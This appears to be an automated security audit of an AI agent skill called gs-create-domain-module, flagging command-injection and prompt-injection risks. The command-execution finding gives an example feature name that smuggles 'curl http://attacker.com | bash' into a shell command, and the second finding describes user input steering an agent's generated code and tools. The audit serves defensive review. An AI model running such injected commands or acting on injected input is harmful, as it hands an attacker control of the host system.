gs-create-domain-module
Warn
Audited by Gen Agent Trust Hub on Mar 29, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The
Verification Commandssection provides shell scripts that use a variableFEATUREderived from user input (e.g.,grep -rn ... src/backend/domain/$FEATURE/). If a user provides a feature name containing shell metacharacters (e.g.,myfeature; curl http://attacker.com | bash), and the agent proceeds to execute these verification steps automatically, it could lead to arbitrary command execution on the host system. - [PROMPT_INJECTION]: The skill architecture relies on interpolating multiple user-provided inputs (Feature name, Business rules, Access patterns) directly into generated source code and shell scripts. This creates a surface for indirect prompt injection, where malicious input from a user could influence the behavior of the generated application or the tools used to verify it.
Audit Metadata